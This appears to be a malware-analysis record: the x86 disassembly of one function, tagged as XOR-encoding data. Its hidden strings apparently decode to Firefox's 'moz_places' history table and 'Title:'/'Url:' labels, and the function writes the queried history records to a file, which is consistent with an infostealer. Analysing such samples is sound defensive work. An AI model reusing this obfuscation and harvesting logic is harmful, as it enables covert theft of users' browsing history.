Function at 0x411329
Capabilities:
Encode data using xor

Disassembly:
push 0x2a4
mov eax, 0x41ada6
call fcn.0041974f
mov ebx, ecx
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x2b0]
mov dword [ebp - 0x100], eax
call fcn.0040380e
sub esp, 0x18
lea esi, [ebx + 0xa8]
mov ecx, esp
push esi
call fcn.0040476b
call fcn.00413e9f
add esp, 0x18
test eax, eax
je 0x411387
cmp dword [esi + 0x14], 0xf
jbe 0x411373
mov esi, dword [esi]
mov edx, dword [ebp - 0x22c]
mov ecx, dword [ebp - 0x2b0]
push esi
call fcn.004064a5
call eax
push 0x48
call fcn.00418960
mov esi, eax
mov dword [ebp - 0x104], esi
sub esp, 0x14
xor edx, edx
mov ecx, esp
mov dword [ebp - 4], edx
mov edi, ecx
mov dword [ebp - 0x108], esp
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [ecx + 0x10], edx
mov dword [ecx + 0x14], 0xf
mov byte [ecx], dl
sub esp, 0x18
mov byte [ebp - 4], 1
mov ecx, esp
push dword [ebp - 0x100]
call fcn.0040476b
lea eax, [ebp - 0xf9]
mov byte [ebp - 4], 0
push eax
mov ecx, esi
call fcn.00404b21
or dword [ebp - 4], 0xffffffff
mov esi, eax
cmp byte [ebp - 0xf9], 0
je 0x411699
mov al, 0x6c
mov dword [ebp - 0x24], 0x867b796c
mov dword [ebp - 0x20], 0x6d787c6b
xor ecx, ecx
mov dword [ebp - 0x1c], 0x7f716f
movsx eax, al
and eax, 0x8000000f
jns 0x41141b
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x23], al
inc ecx
cmp ecx, 0xa
jae 0x41142a
mov al, byte [ebp - 0x24]
jmp 0x41140c
sub esp, 0x18
mov byte [ebp - 0x19], 0
lea eax, [ebp - 0x23]
mov ecx, esp
push eax
call fcn.004035da
mov ecx, esi
call fcn.0040bd5c
test al, al
je 0x411699
xor eax, eax
lea edi, [ebp - 0x50]
stosd dword es:[edi], eax
xor edx, edx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [ebp - 0x40], edx
mov dword [ebp - 0x3c], 0xf
mov byte [ebp - 0x50], dl
mov dword [ebp - 4], 2
mov ecx, edx
movaps xmm0, xmmword [0x401ee0]
movups xmmword [ebp - 0x2c], xmm0
mov dword [ebp - 0x1c], 0x707c70
mov al, byte [ebp - 0x2c]
xor byte [ebp + ecx - 0x2b], al
inc ecx
cmp ecx, 0x12
jb 0x41147e
lea eax, [ebp - 0x2b]
mov byte [ebp - 0x19], dl
push eax
lea edx, [ebx + 0x90]
lea ecx, [ebp - 0x80]
call fcn.00409d3e
pop ecx
mov byte [ebp - 4], 3
xor edi, edi
mov eax, dword [esi + 0x3c]
sub eax, dword [esi + 0x38]
push 0xc
cdq
pop ecx
idiv ecx
mov dword [ebp - 0x100], eax
test eax, eax
jle 0x411634
push 1
push edi
lea eax, [ebp - 0x68]
mov ecx, esi
push eax
call fcn.0040c074
mov byte [ebp - 4], 4
cmp dword [ebp - 0x58], 0
je 0x41161b
push 2
push edi
lea eax, [ebp - 0xf8]
mov ecx, esi
push eax
call fcn.0040c074
mov ebx, eax
mov byte [ebp - 4], 5
mov dl, 0x7b
mov dword [ebp - 0x38], 0x7f745f7b
xor ecx, ecx
mov dword [ebp - 0x34], 0x2b457077
mov byte [ebp - 0x30], 0
movsx eax, dl
and eax, 0x8000000f
jns 0x411519
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x37], al
inc ecx
cmp ecx, 7
jae 0x411528
mov dl, byte [ebp - 0x38]
jmp 0x41150a
push ebx
lea edx, [ebp - 0x37]
mov byte [ebp - 0x30], 0
lea ecx, [ebp - 0xe0]
call fcn.00409d8f
pop ecx
mov edx, eax
mov byte [ebp - 4], 6
xor ebx, ebx
mov cl, 0xa
mov dword [ebp - 0x24], 0x5f00070a
mov dword [ebp - 0x20], 0x2a306678
mov eax, ebx
mov byte [ebp - 0x1c], bl
xor byte [ebp + eax - 0x23], cl
inc eax
cmp eax, 7
jae 0x411568
mov cl, byte [ebp - 0x24]
jmp 0x411559
lea eax, [ebp - 0x23]
mov byte [ebp - 0x1c], bl
push eax
lea ecx, [ebp - 0xc8]
call fcn.00405ea5
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], 7
push ecx
mov edx, eax
lea ecx, [ebp - 0xb0]
call fcn.004048ef
pop ecx
pop ecx
mov edx, eax
mov byte [ebp - 4], 8
mov cl, 0x49
mov dword [ebp - 0x18], 0x44434449
mov eax, ebx
mov word [ebp - 0x14], 0x43
xor byte [ebp + eax - 0x17], cl
inc eax
cmp eax, 4
jae 0x4115b7
mov cl, byte [ebp - 0x18]
jmp 0x4115a8
lea eax, [ebp - 0x17]
mov byte [ebp - 0x13], bl
push eax
lea ecx, [ebp - 0x98]
call fcn.00405ea5
pop ecx
mov byte [ebp - 4], 9
mov ecx, eax
cmp dword [eax + 0x14], 0xf
jbe 0x4115d8
mov ecx, dword [eax]
push dword [eax + 0x10]
push ecx
lea ecx, [ebp - 0x50]
call fcn.00404849
lea ecx, [ebp - 0x98]
call fcn.0040357e
lea ecx, [ebp - 0xb0]
call fcn.0040357e
lea ecx, [ebp - 0xc8]
call fcn.0040357e
lea ecx, [ebp - 0xe0]
call fcn.0040357e
lea ecx, [ebp - 0xf8]
call fcn.0040357e
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], 3
call fcn.0040357e
inc edi
cmp edi, dword [ebp - 0x100]
jl 0x4114c1
cmp dword [ebp - 0x40], 0
je 0x411689
sub esp, 0xc
lea eax, [ebp - 0x80]
lea ecx, [ebp - 0x1b8]
push eax
call fcn.0041317e
mov byte [ebp - 4], 0xa
cmp dword [ebp - 0x168], 0
je 0x411672
lea edx, [ebp - 0x50]
lea ecx, [ebp - 0x1b8]
call fcn.004136f1
lea ecx, [ebp - 0x1b8]
call fcn.0041312d
lea ecx, [ebp - 0x150]
call fcn.0041314e
lea ecx, [ebp - 0x150]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::destructor_void_]
lea ecx, [ebp - 0x80]
call fcn.0040357e
lea ecx, [ebp - 0x50]
call fcn.0040357e
test esi, esi
je 0x4116ae
mov ecx, esi
call fcn.00405622
push 0x48
push esi
call fcn.00418990
pop ecx
pop ecx
call fcn.0041970d
ret 4